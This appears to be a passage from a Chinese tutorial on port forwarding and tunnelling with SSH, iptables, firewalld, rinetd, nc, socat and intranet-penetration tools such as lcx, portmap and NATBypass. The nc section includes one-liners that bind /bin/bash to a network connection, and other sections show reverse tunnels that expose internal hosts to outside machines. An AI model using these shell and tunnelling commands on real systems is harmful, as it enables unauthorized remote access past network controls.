host1 执行：ssh jarvis@192.168.1.2 -p 10022

如果我们不希望 ssh 登录, 只是建立隧道后进入后台的话，可以加上 -f 参数 (fork):

# host2
ssh -f -g -L 10022:192.168.1.4:22 host3 ifconfig
ssh -f -N -g -L 10022:192.168.1.4:22 host3

注意我们额外加了 -N 参数, 否则必须指定一个要执行的远程命令

远程端口转发

ssh -R 远程网卡地址:远程端口:目标地址:目标端口 用户@目标地址

注意：远程端口转发时，需要在服务端中 SSHd（/etc/ssh/sshd_config）启用 GatewayPorts=yes，而不是在客户端中启用，修改完重启 sshd 服务。以便能够绑定到远程端口上的环回以外的接口。默认情况下，OpenSSH 只允许从本地主机连接到远程转发端口。能够防止从服务器计算机外部连接到转发端口。设置成 ‘yes’ 后，外部主机就可以连接了。

远程转发需要在 host3 上开启隧道:

host3 执行：ssh -R [<远程地址>:]远程端口:<目标地址>:<目标端口> host1
示例：ssh -R 10001:192.168.1.4:9000 host2

这样就在 host2 上的 10001 端口建立了 ssh 隧道连接. 当有主机连接 host2:10001 时, 流量就会被通过 ssh 隧道转发到 host3, 然后再有 host3 转发给 host4. 由于 host3 发起的转发端口在 host2 上(对于 host3 来说是远程), 因此成为远程端口转发.

示例：

远程主机的 8080 端口和本地主机的 80 端口建立映射
ssh -R 0.0.0.0:8080:127.0.0.1:80 root@172.17.82.12

从 host2 访问

host2 执行：ssh jarvis@localhost -p 10001
host2 (这个连不上)：ssh jarvis@10.76.1.101 -p 10001

警告:【远程端口】10001 是由 host2 上的 sshd 服务控制的, 因此即使指定了【远程地址】, host2 上的 sshd 也只会把 10001 绑定在回环地址 127.0.0.1 (localhost) 上.

host2 查看端口绑定：netstat -tnlp

ssh 跳板 + 从 host1 访问

为了能从 host1 和 host2 上通过 10.76.1.101 访问, 需要在 host2 的 sshd 配置文件中, 把 GatewayPorts=no 改为 GatewayPorts=yes. 启用该项之后, 无论【远程地址】设置为什么都会绑定在所有地址 (0.0.0.0) 上.

host2 执行：
ssh -g -R *:10001:192.168.1.4:9000 host2
ssh -g -R 10001:192.168.1.4:9000 host2
也可以加 -f -N 参数, 参数可缩写
ssh -fgNR 10001:192.168.1.4:9000 host2
然后在 host1 上访问
ssh jarvis@10.76.1.101 -p 10001

外部网络SSH访问公司内网服务器终极解决方案（实现SFTP直连内网）

：https://blog.csdn.net/uisoul/article/details/97416567

利用外网服务器以及反向SSH搭一条通道，就可以利用外网的服务器登录内网的服务器。
内网服务器   192.168.0.201
   内网服务器上执行命令：ssh -NfR 1122:localhost:22 root@100.100.100.100 -p 22
外网服务器   100.100.100.100
       外网服务器：ssh 内网服务器用户名@localhost -p1122

动态端口转发

"本地转发、远程转发" 都只能进行一对一的端口转发，这意味着同一个端口只能解析一种固定的协议。比如我把本地的 10001 端口转发到远程的 80 端口 (web 服务, http 协议)，那么本地的 10001 端口只能用于 web 服务的访问，不能用于 ssh 连接。

ssh 支持动态转发，由 ssh 判断发起请求的工具使用的是什么协议，并动态的转发到相应的目标端口。

如上图所示，我们希望从 host2 既能访问互联网，又能通过 ssh 连接到 host4. 单独开两个端口映射显然是可以的, 但这并不优雅. 这时候我们就可以使用动态转发, 格式如下:

host2 执行：ssh -D [<绑定地址>:]端口 host3
示例：ssh -fgN -D 10022 host3

执行了上面的命令之后, host2 就会在本地开启 SOCKS4 或 SOCKS5 服务来监听 10022 端口. 这时候只要客户端工具将自身的代理设置为 host2:10022, 则该程序所有的数据就会被经由 host2:10022 转发给 host3, 然后由 host3 自动根据协议类型决定把数据发往何处.

比如本地使用浏览器代理, 那么浏览器使用的 http/https 流量就会被 host3 转发到互联网上. 如果使用 SecurtCRT 或 putty 等支持代理上网的客户端工具, 则连接 host4 的 ssh 流量也可以通过 host3 被发往 host4.

(1) 本地端口转发：ssh -fgN -L 2222:localhost:22 localhost
(2) 远程端口转发：ssh -fgN -R 2222:host1:22 localhost
(3) 动态端口转发：ssh -fgN -D 12345 root@host1

autossh

安装：apt install autossh

autossh 工具是一个用来启动 ssh 服务并进行监控的命令行应用程序，可以在程序问题或者是网络问题的时候，重启 ssh 服务。autossh 使用了系统原生的 SSH 端口映射功能，性能开销非常小。

-M 指定监控端口。覆盖环境变量 AUTOSSH_PORT。0关闭监控环路。或者可以指定远程机器上的回显服务的端口。(通常是端口7。)
-f 后台执行 (autossh 处理这个参数，不会传递给 ssh)
-V 打印 autossh 版本
除了 M、f、V 参数，其他参数都会传递给 ssh 进行处理

示例：autossh -f -M 9600 -i "renzheng.pem" -gN -D 9500 用户名@主机ip或者域名

ssh 实现 socket5 代理

SSH 隧道实现的是 socket5 代理 ( 动态端口转发 )

命令：ssh -i xxxxx.pem -fgN -D 9500 110.115.116.xxx

110.115.116.xxx 是可以访问外网的 VPS 主机
xxxxx.pem 是免密码登录到 VPS 主机的证书

代理设置

Putty 的 SSH 隧道

iptables 端口转发

(1) 开启数据转发功能
vi /etc/sysctl.conf
#增加一行 net.ipv4.ip_forward=1
//使数据转发功能生效
sysctl -p
(2)将本地的端口转发到本机端口
iptables -t nat -A PREROUTING -p tcp --dport 2222 -j REDIRECT --to-port 22
(3)将本机的端口转发到其他机器
iptables -t nat -A PREROUTING -d 192.168.172.130 -p tcp --dport 8000 -j DNAT --to-destination 192.168.172.131:80
iptables -t nat -A POSTROUTING -d 192.168.172.131 -p tcp --dport 80 -j SNAT --to 192.168.172.130

#清空nat表的所有链
iptables -t nat -F PREROUTING

firewall 端口转发

(1) 开启伪装IP
firewall-cmd --permanent --add-masquerade
(2) 配置端口转发，将到达本机的12345端口的访问转发到另一台服务器的22端口。
firewall-cmd --permanent --add-forward-port=port=12345:proto=tcp:toaddr=192.168.172.131:toport=22
(3) 重新载入，使其失效
firewall-cmd --reload

rinetd 端口转发

rinetd 是一个轻量级 TCP 转发工具，简单配置就可以实现端口映射/转发/重定向。

安装：apt install rinetd
编辑配置：gedit /etc/rinetd.conf

命令格式是
bindaddress bindport connectaddress connectport
绑定的地址绑定的端口连接的地址连接的端口
或
[Source Address] [Source Port] [Destination Address] [Destination Port]
源地址源端口目的地址目的端口

示例：(0.0.0.0表示本机绑定所有可用地址)
0.0.0.0 8080 172.19.94.3 8080 将所有发往本机8080端口的请求转发到172.19.94.3的8080端口
0.0.0.0 2222 192.168.0.103 3389 将所有发往本机2222端口的请求转发到192.168.0.103的3389端口
1.2.3.4 80 192.168.0.10 80 将所有发往1.2.3.4的80端口请求转发到192.168.0.10的80端口
启动：rinetd -c /etc/rinetd.conf

关闭：pkill rinetd

ncat 端口转发

netcat(简称nc)被誉为网络安全界的”瑞士军刀“，一个简单而有用的工具，这里介绍一种使用netcat实现端口转发的方法。

(1) 安装ncat
yum install nmap-ncat -y
(2) 监听本机 9876 端口，将数据转发到 192.168.172.131的 80 端口
ncat --sh-exec "ncat 192.168.172.131 80" -l 9876 --keep-open

nc 端口转发

标准的 nc 命令没有 -e 或 -c 参数来执行命令。主要用于简单的 TCP 和 UDP 连接，例如发送和接收数据。

方法 1：通过 管道重定向 实现端口转发

本地端口到另一个本地端口
nc -l -p 源端口 | nc 本地IP 目标端口
示例：nc -l -p 8888 | nc 本地IP 9999
单向端口转发
本地监听端口 8888，并将收到的数据通过网络传输到远程服务器的 9999 端口。
nc -l -p 8888 | nc 远程服务器IP 9999
双向端口转发。
样就可以实现双向的端口转发，数据可以在两个方向上流动。
# 本地端口到远程服务器
nc -l -p 8888 | nc 远程服务器IP 9999
# 远程服务器端口到本地
nc -l -p 9999 | nc 本地IP 8888

方法 2：

带有 -e 时
直接执行命令：nc serverIP PORT -e /bin/bash
没有 -e 时
命令：mkfifo /tmp/fifo
命令：cat /tmp/fifo | /bin/bash -i 2>&1 | nc -l 8000 > /tmp/fifo
客户端执行：nc 192.168.1.102 8000

方法 3：通过 -c

nc -l -p 源端口 -c 'nc 目标IP 目标端口'
本地监听 8888 端口，并将所有连接转发到远程服务器的 9999 端口。
示例：nc -l -p 8888 -c 'nc 远程服务器IP 9999'

socat 端口转发

socat 是一个多功能的网络工具，使用 socat 进行端口转发。

(1) socat 安装
yum install -y socat
(2) 在本地监听 12345 端口，并将请求转发至192.168.172.131的22端口。
socat TCP4-LISTEN:12345,reuseaddr,fork TCP4:192.168.172.131:22

lcx.exe 端口转发

隧道工具：https://github.com/todzhang/lcx

Lcx的多种用法：3个功能+9个参数：https://cloud.tencent.com/developer/article/1041597

lcx--端口转发工具：https://www.freebuf.com/sectool/265766.html

一文详解内网LCX端口转发：https://www.freebuf.com/articles/network/379553.html

portmap 端口转发

内网端口转发工具：lcx 工具是windous版的，linux版的是 portmap。

(1) 下载地址：http://www.vuln.cn/wp-content/uploads/2016/06/lcx_vuln.cn_.zip

(2) 监听本地 1234 端口，转发给 192.168.172.131 的 22 端口

portmap -m 1 -p1 1234 -h2 192.168.172.131 -p2 22

portmap 端口转发：https://zhuanlan.zhihu.com/p/545265096

Lcx 端口转发初探：https://zhuanlan.zhihu.com/p/166027768

portfwd 端口转发

portfwd 端口转发与端口映射：https://blog.csdn.net/f_carey/article/details/120091375

portfwd 是 meterpreter 中内置的功能，也提供了单机版，用于TCP/UDP端口转发服务

Github 项目地址：https://github.com/rssnsj/portfwd

(1) 下载编译
git clone https://github.com/rssnsj/portfwd.git
cd portfwd/src
make
(2)将本地的12345端口转发到192.168.172.131：22
./tcpfwd 0.0.0.0:12345 192.168.172.131:22

NATBypass 端口转发

一款 lcx (htran) 在 golang 下的实现

Gihub项目地址：https://github.com/cw1997/NATBypass

内网主机主动连接外网主机打通隧道：

在目标机器上执行：nb -slave 127.0.0.1:3389 公网IP:51
在公网的机器执行：nb -listen 51 3340
在公网主机上连接 127.0.0.1:3340，即可连接上内网机器的3389端口。